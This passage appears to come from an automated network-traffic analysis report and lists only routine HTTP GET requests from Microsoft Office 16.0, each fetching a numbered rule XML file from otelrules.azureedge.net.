Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
